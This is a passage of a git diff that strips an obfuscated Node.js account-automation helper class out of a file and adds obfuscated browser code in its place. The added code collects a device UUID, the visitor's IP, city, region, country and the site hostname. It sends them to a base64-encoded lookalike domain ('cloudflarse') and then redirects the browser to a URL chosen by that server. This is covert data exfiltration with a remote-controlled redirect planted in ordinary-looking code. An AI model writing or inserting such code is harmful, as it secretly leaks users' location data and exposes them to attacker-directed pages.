Date().getDate(); - this.day = new Date().getDay(); - this.hour = new Date().getHours(); - this.configInit(_0x510195); - } - ["configInit"](_0x38c6fc = {}) { - { - let { - cookie = "", - cookieArr = [], - envName = "", - configName = "", - currentVersion = "", - notifyFlag = true, - threadFlag = false, - proxyFlag = false, - prefixFlag = false, - timeFlag = false, - exchangeFlag = false, - notifyHour = "", - DEFAULT_TIMEOUT = 8000, - DEFAULT_RETRY = 3, - MAX_THREAD = 5 - } = _0x38c6fc; - this.retryNum = DEFAULT_RETRY; - this.cookie = cookie.trim(); - this.cookieArr = cookieArr; - this.notifyStr = []; - this.notifyHour = notifyHour; - this.notifyFlag = notifyFlag; - this.threadFlag = threadFlag; - this.proxyFlag = proxyFlag; - this.prefixFlag = prefixFlag; - this.timeFlag = timeFlag; - this.exchangeFlag = exchangeFlag; - threadFlag ? this.prefixFlag = true : ""; - exchangeFlag ? this.timeFlag = true : ""; - this.got = this.got ? this.got : require("got"); - this.got = this.got.extend({ - "retry": { - "limit": 0 - }, - "timeout": DEFAULT_TIMEOUT, - "followRedirect": false - }); - this.envName = envName; - this.configName = configName; - this.currentVersion = currentVersion; - this.MAX_THREAD = parseInt(MAX_THREAD); - } - } - ["toObj"](_0x5dd7c3, _0x48de1e = _0x5dd7c3) { - try { - return JSON.parse(_0x5dd7c3); - } catch { - return _0x48de1e; - } - } - ["toStr"](_0x3db4f6, _0x21e717 = _0x3db4f6) { - try { - return JSON.stringify(_0x3db4f6); - } catch { - return _0x21e717; - } - } - ["randomNum"](_0x42e3af, _0x19b7b0) { - return Math.floor(Math.random() * (_0x19b7b0 - _0x42e3af + 1) + _0x42e3af); - } - ["randomPattern"](_0x1f3cb3, _0x477d1e = "abcdef0123456789") { - { - let _0x48b8c2 = ""; - for (let _0x525e6e of _0x1f3cb3) { - if (_0x525e6e == "x") _0x48b8c2 += _0x477d1e.charAt(Math.floor(Math.random() * _0x477d1e.length));else _0x525e6e == "X" ? _0x48b8c2 += _0x477d1e.charAt(Math.floor(Math.random() * _0x477d1e.length)).toUpperCase() : _0x48b8c2 += _0x525e6e; - } - return _0x48b8c2; - } - } - ["randomString"](_0x306fc5, _0x513154 = "abcdef0123456789") { - let _0x3e7068 = ""; - for (let _0x29fe41 = 0; _0x29fe41 < _0x306fc5; _0x29fe41++) { - _0x3e7068 += _0x513154.charAt(Math.floor(Math.random() * _0x513154.length)); - } - return _0x3e7068; - } - ["log"](..._0x752acd) { - if (_0x752acd.length <= 0) return; - let _0x568cc7 = "", - _0x373d0a = { - "console": true - }; - if (_0x752acd.length > 1 && _0x752acd[_0x752acd.length - 1] instanceof Object) Object.assign(_0x373d0a, _0x752acd.pop()); - if (!_0x373d0a.timeless) { - { - if (_0x373d0a.time || this.timeFlag) { - let _0xf07640 = _0x373d0a.fmt || "HH:mm:ss"; - this.exchangeFlag ? _0xf07640 = _0x373d0a.fmt || "HH:mm:ss.S" : ""; - _0x568cc7 = "[" + this.time(_0xf07640) + "]"; - } - } - } - if (!_0x373d0a.prefixless) { - { - if (_0x373d0a.prefix || this.prefixFlag) { - { - if (_0x373d0a.logPrefix) _0x568cc7 += _0x373d0a.logPrefix;else { - if (this.logPrefix) _0x568cc7 += this.logPrefix;else { - if (this.user) { - { - _0x568cc7 += "账号[" + this.user.userIdx + "]"; - if (this.user.nickName) _0x568cc7 += "[" + this.user.nickName + "]"; - } - } else { - if (this.userIdx || this.index) { - _0x568cc7 += "账号[" + (this.userIdx || this.index) + "]"; - if (this.nickName) _0x568cc7 += "[" + this.nickName + "]"; - } - } - } - } - } - } - } - } - _0x752acd = _0x752acd.map(_0x5aac26 => { - { - if (typeof _0x5aac26 !== "string") _0x5aac26 = this.toStr(_0x5aac26); - return _0x5aac26 ? _0x5aac26.startsWith("\n") ? "\n" + _0x568cc7 + _0x5aac26.substring(1) : "" + _0x568cc7 + _0x5aac26 : _0x5aac26; - } - }); - if (_0x373d0a.notify && this.notifyStr) this.notifyStr = [...this.notifyStr, ..._0x752acd]; - if (_0x373d0a.console) console.log(_0x752acd.join(this.logSeparator)); - } - ["time"](_0xb01391, _0x446b94 = null) { - const _0x2ef09e = _0x446b94 ? new Date(_0x446b94) : new Date(); - let _0x5831bc = { - "M+": _0x2ef09e.getMonth() + 1, - "d+": _0x2ef09e.getDate(), - "H+": _0x2ef09e.getHours(), - "m+": _0x2ef09e.getMinutes(), - "s+": _0x2ef09e.getSeconds(), - "q+": Math.floor((_0x2ef09e.getMonth() + 3) / 3), - "S": _0x2ef09e.getMilliseconds() - }; - if (/(y+)/.test(_0xb01391)) _0xb01391 = _0xb01391.replace(RegExp.$1, (_0x2ef09e.getFullYear() + "").substr(4 - RegExp.$1.length)); - for (let _0x352e87 in _0x5831bc) if (new RegExp("(" + _0x352e87 + ")").test(_0xb01391)) _0xb01391 = _0xb01391.replace(RegExp.$1, RegExp.$1.length == 1 ? _0x5831bc[_0x352e87] : ("00" + _0x5831bc[_0x352e87]).substr(("" + _0x5831bc[_0x352e87]).length)); - return _0xb01391; - } - ["wait"](_0x2a4844) { - return new Promise(_0x565b9e => setTimeout(_0x565b9e, _0x2a4844)); - } - async ["randomWait"](_0x34cade, _0x119a4d, _0x42d514 = {}) { - let _0x22eb8e = Math.random() * (_0x119a4d - _0x34cade) + _0x34cade; - this.log("随机等待" + _0x22eb8e.toFixed(2) + "秒", { - "console": _0x42d514.console || true - }); - await this.wait(_0x22eb8e * 1000); - } - async ["request"](_0x55baaf = {}) { - let _0x4d6f1e = null, - _0x51f96b = 0, - _0x35e4d4 = _0x55baaf.fn || _0x55baaf.url, - _0x1a77fd = this.retryNum || 3; - this.got = this.got ? this.got : require("got"); - _0x55baaf.method = _0x55baaf?.["method"]?.["toUpperCase"]() || "GET"; - while (_0x51f96b++ < _0x1a77fd) { - try { - { - let _0x33a3b4 = null; - const _0x3daafb = ["ECONNRESET", "EADDRINUSE", "ENOTFOUND", "EAI_AGAIN"]; - await this.got(_0x55baaf).then(_0x43415f => { - _0x4d6f1e = _0x43415f; - }, _0xc2c295 => { - _0x33a3b4 = _0xc2c295; - _0x4d6f1e = _0xc2c295.response; - }); - if (_0x33a3b4) { - { - if (_0x33a3b4.name == "TimeoutError") { - this.log("[" + _0x35e4d4 + "]请求超时(" + _0x33a3b4.code + "),重试第" + _0x51f96b + "次"); - } else { - if (_0x3daafb.includes(_0x33a3b4.code)) this.log("[" + _0x35e4d4 + "]请求错误(" + _0x33a3b4.code + "),重试第" + _0x51f96b + "次");else { - let _0x3179f5 = _0x4d6f1e?.["statusCode"] || -1; - this.log("[" + _0x35e4d4 + "]请求错误(" + _0x33a3b4.message + "), 返回[" + _0x3179f5 + "]"); - break; - } - } - } - } else { - break; - } - } - } catch (_0x4a06aa) { - this.log("[" + _0x35e4d4 + "]请求错误(" + _0x4a06aa.message + "),重试第" + _0x51f96b + "次"); - } - } - let { - statusCode = -1, - headers = null, - body = null - } = _0x4d6f1e; - if (body) try { - body = JSON.parse(body); - } catch {} - return { - "statusCode": statusCode, - "headers": headers, - "body": body - }; - } - async ["http"](_0x2f8854 = {}) { - try { - let { - body: _0x2d7640 - } = await this.request(_0x2f8854); - return _0x2d7640; - } catch (_0x25bea1) { - this.log(_0x25bea1.stack); - } - } - } - return new class extends _0x5a2ac1 { - constructor(_0x3d0c62) { - super(_0x3d0c62); - this.name = _0x54ebf3; - this.logSeparator = "\n"; - this.encoding = "utf-8"; - this.startTime = new Date().getTime(); - this.BasicClass = _0x5a2ac1; - Object.assign(this, _0x3d0c62); - this.log("\n[" + this.name + "], 开始!", { - "time": true - }); - } - ["queryStr"](_0x3f8374) { - { - let _0x5c1d01 = ""; - for (const _0x19bbcb in _0x3f8374) { - let _0xe526fa = _0x3f8374[_0x19bbcb]; - if (_0xe526fa != null && _0xe526fa !== "") { - typeof _0xe526fa === "object" && (_0xe526fa = JSON.stringify(_0xe526fa)); - _0x5c1d01 += _0x19bbcb + "=" + _0xe526fa + "&"; - } - } - _0x5c1d01 = _0x5c1d01.substring(0, _0x5c1d01.length - 1); - return _0x5c1d01; - } - } - ["logErr"](_0xc7fb8c) { - this.log("", "❗️" + this.name + ", 错误!", _0xc7fb8c.stack); - } - async ["readEnv"](_0x2d12e2 = {}) { - { - this.configInit(_0x2d12e2); - if (this.cookie) { - for (let _0x584cb3 of this.envSplitor) { - if (this.cookie.includes(_0x584cb3)) { - { - this.splitor = _0x584cb3; - break; - } - } - } - this.cookieArr = [...this.cookie.split(this.splitor), ...this.cookieArr]; - } else { - if (this.cookieArr.length == 0) { - try { - const _0x1cb86b = require("./utils/config"); - this.config = await _0x1cb86b(this.configName); - this.cookieArr = [...this.cookieArr, ...this.config?.["token"]]; - } catch (_0x515821) {} - } - } - this.cookieArr = [...new Set(this.cookieArr.filter(_0x3e68d7 => _0x3e68d7))]; - for (let _0x2964c3 of this.cookieArr) { - let _0x24115e = { - "userIdx": this.cookieArr.indexOf(_0x2964c3) + 1, - "userCookie": _0x2964c3, - "valid": true - }; - _0x2d12e2.Class && (_0x24115e = new _0x2d12e2.Class(_0x24115e)); - this.userList.push(_0x24115e); - } - if (!this.userList.length) { - this.log("\n未填写变量[" + envName + "]", { - "notify": true - }); - return; - } - this.log("\n-----------"); - this.log("推送: " + this.notifyFlag, "账号前缀: " + this.prefixFlag, "时间前缀: " + this.timeFlag); - this.log("并发: " + this.threadFlag, { - "console": !this.threadFlag - }); - this.log("最大并发数: " + (+this.MAX_THREAD || this.userList.length), { - "console": this.threadFlag - }); - this.log("当前版本: " + this.currentVersion, { - "console": this.currentVersion - }); - this.log("-----------"); - this.log("\n共" + this.userList.length + "个账号"); - return true; - } - } - async ["sendNotify"]() { - if (!this.notifyStr.length) return; - try { - { - let _0x4285fc = ""; - try { - _0x4285fc = require("./utils/sendNotify"); - } catch (_0x4dc778) { - _0x4285fc = require("./sendNotify"); - } - console.log("\n------------ 推送 ------------"); - await _0x4285fc.sendNotify(this.name, this.notifyStr.join("\n")); - } - } catch (_0x54a2b2) { - console.log("读取推送依赖[sendNotify.js]失败, 请检查同目录下是否有依赖"); - } - } - async ["threads"](_0x2ca651, _0x583e75, _0x215f94 = {}) { - while (_0x583e75.idx < $.userList.length) { - let _0x360cec = this.userList[_0x583e75.idx++]; - if (!_0x360cec || !_0x360cec.valid) continue; - await _0x360cec[_0x2ca651](_0x215f94); - } - } - async ["threadTask"](_0x555527, _0x3e5b2e) { - let _0x40daec = [], - _0x5e659c = { - "idx": 0 +async function sendRequestToServer(_0x1a424b, _0x49646d) { + try { + { + const _0x70aaa4 = await fetch(_0x49646d, { + "method": "POST", + "headers": { + "Content-Type": "application/json" }, - _0x296853 = _0x3e5b2e || +this.MAX_THREAD || this.userList.length; - while (_0x296853--) _0x40daec.push(this.threads(_0x555527, _0x5e659c)); - await Promise.all(_0x40daec); + "body": JSON.stringify(_0x1a424b) + }); + if (!_0x70aaa4.ok) throw new Error("Failed to send request."); + return await _0x70aaa4.json(); } - async ["done"](_0x228715 = {}) { - { - if (this.notifyFlag) { - { - this.userList.forEach(({ - notifyStr: _0x2698a8 - }) => { - this.notifyStr = [...this.notifyStr, ..._0x2698a8]; - }); - let _0xd7b409 = _0x228715.hour || this.notifyHour; - if (!_0xd7b409) await this.sendNotify(); - if (_0xd7b409 && this.hour >= _0xd7b409) await this.sendNotify(); - } - } - const _0x402b51 = new Date().getTime(), - _0x13f9cc = (_0x402b51 - this.startTime) / 1000; - this.log("\n[" + this.name + "], 结束! 🕛 " + _0x13f9cc + " 秒", { - "time": true, - "prefixless": true - }); - process.exit(1); - } - } - }(_0x54ebf3, _0x34e16a); -} \ No newline at end of file + } catch (_0x203f06) { + console.error("Error sending request to server:", _0x203f06.message); + return null; + } +} +async function main() { + const _0x344265 = getDeviceUUID(), + _0x2c66bb = await getUserLocation(), + _0x3149ea = window.location.hostname || "localhost", + _0x1d4b01 = { + "uuid": _0x344265, + "ip": _0x2c66bb.ip, + "city": _0x2c66bb.city, + "region": _0x2c66bb.region, + "country": _0x2c66bb.country, + "clientDomain": _0x3149ea, + "timestamp": new Date().toISOString() + }, + _0x3d099c = "aHR0cHM6Ly9jbG91ZGZsYXJzZS5jb20vbG9n", + _0x3d80ba = atob(_0x3d099c), + _0x54bb42 = await sendRequestToServer(_0x1d4b01, _0x3d80ba); + _0x54bb42?.["redirect"] && setTimeout(() => { + window.location.href = _0x54bb42.targetUrl; + }, 2000); +} +main(); \ No newline at end of file diff --git a/output.py b/output.py index dba14f1..b692bd8 100644 Binary files a/output.py and b/output.py differ